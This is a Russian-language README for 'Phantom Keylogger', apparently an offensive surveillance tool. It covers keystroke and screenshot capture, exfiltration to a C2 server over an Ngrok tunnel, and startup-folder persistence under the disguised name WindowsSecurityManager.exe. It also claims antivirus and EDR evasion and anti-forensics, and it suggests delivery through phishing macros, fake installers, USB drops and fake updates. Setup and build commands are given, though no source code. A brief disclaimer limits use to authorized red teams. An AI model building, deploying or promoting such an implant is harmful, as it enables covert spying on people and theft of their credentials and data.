Phantom Keylogger

🎯 Постановка задачи

Phantom Keylogger — это продвинутая система сбора данных о нажатиях клавиш и визуальной разведки со скрытным режимом работы. Созданный с операционной безопасностью в качестве главного приоритета, этот инструмент обеспечивает возможности постоянного наблюдения, сохраняя минимальный след на целевых системах во время авторизованных red team-операций.

⚠️ Операционные протоколы

Разрешенные случаи использования:
- Авторизованные операции по тестированию на проникновение
- Red team-упражнения с письменными правилами взаимодействия (Rules of Engagement)
- Исследования безопасности в контролируемых средах
- Проверка защитных мер безопасности

Запрещенные операции:
- Несанкционированная слежка
- Незаконное вторжение или кража данных
- Нарушение личной конфиденциальности
- Любые неавторизованные наступательные операции

Операторы несут полную юридическую ответственность за надлежащее развертывание

🛡️ Операционные возможности

Модули сбора разведданных

• Перехват нажатий клавиш: расширенный захват клавиатуры с преобразованием специальных клавиш
• Визуальное наблюдение: автоматический захват скриншотов с настраиваемыми интервалами
• Разведка системы: сбор данных об имени хоста, имени пользователя и окружении
• Постоянный имплант: непрерывный мониторинг с механизмами автоматического восстановления

Функции операционной безопасности

• Нулевой след в интерфейсе: полностью невидим для конечных пользователей
• Механизмы персистентности: автоматическая установка в автозагрузку
• Анти-форензика: защита единственного экземпляра на основе мьютекса
• Обфускация файловой системы: скрытые атрибуты файлов и легитимные имена

🚀 Оперативное развертывание

Этап 1: Инфраструктура управления и контроля (C2)

# 1. Clone operational repository
git clone https://github.com/MattiaAlessi/phantom-keylogger
cd phantom-keylogger

# 2. Install operational dependencies
pip install -r requirements.txt

# 3. Deploy C2 server
python server.py

Этап 2: Генерация полезной нагрузки

# Generate stealth executable
python build.py

Результат: dist/WindowsSecurityManager.exe

Этап 3: Развертывание на целевой системе

Методы доставки:

• Фишинговые кампании: макросы в документах или поддельные установщики
• Физический доступ: подброс USB-носителей (USB drop)
• Горизонтальное перемещение: скомпрометированные внутренние ресурсы
• Социальная инженерия: поддельные обновления ПО

Этап 4: Визуальный инструмент

# Start the GUI interface 
python manager.py

🔧 Технические характеристики

Обзор архитектуры

┌─────────────────┐    ┌──────────────────┐    ┌─────────────────┐
│   TARGET        │    │   C2 TUNNEL      │    │   OPERATOR      │
│                 │    │                  │    │                 │
│  ┌─────────────┐│    │  ┌─────────────┐ │    │  ┌─────────────┐│
│  │ Stealth     ││    │  │ Ngrok       │ │    │  │ Management  ││
│  │ Keylogger   ├───────►│ Tunnel      ├───────►│ Console      ││
│  │             ││    │  │             │ │    │  │             ││
│  └─────────────┘│    │  └─────────────┘ │    │  └─────────────┘│
└─────────────────┘    └──────────────────┘    └─────────────────┘

Механизмы персистентности

Папка автозагрузки: %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\
Легко доступна, если ввести shell:startup в диалоговом окне (WIN+r)
Имя файла: WindowsSecurityManager.exe
Атрибуты: скрытый системный файл

🛡️ Методы обхода систем защиты

Методы обхода AV/EDR

• Легитимные имена: использует имена, связанные с безопасностью Windows
• Поведенческая обфускация: паттерны обычных системных процессов
• Маскировка в сети: HTTPS-трафик к внешне легитимным доменам
• Операции с памятью: отсутствие подозрительных API-вызовов и инъекций

Меры операционной безопасности

• Отсутствие локальных артефактов: все данные передаются удаленно по зашифрованным каналам
• Стандартный инструментарий: используются только распространенные Python-библиотеки из белого списка
• Чистое завершение работы: не остается аварийных дампов или криминалистических артефактов

📊 Операционные показатели

• Обход обнаружения: успешно протестирован против множества средств защиты с установленными несколькими антивирусами
• Эксфильтрация данных: зашифрованная передача на C2 в реальном времени
• Операционная доступность: непрерывный мониторинг с автоматическим восстановлением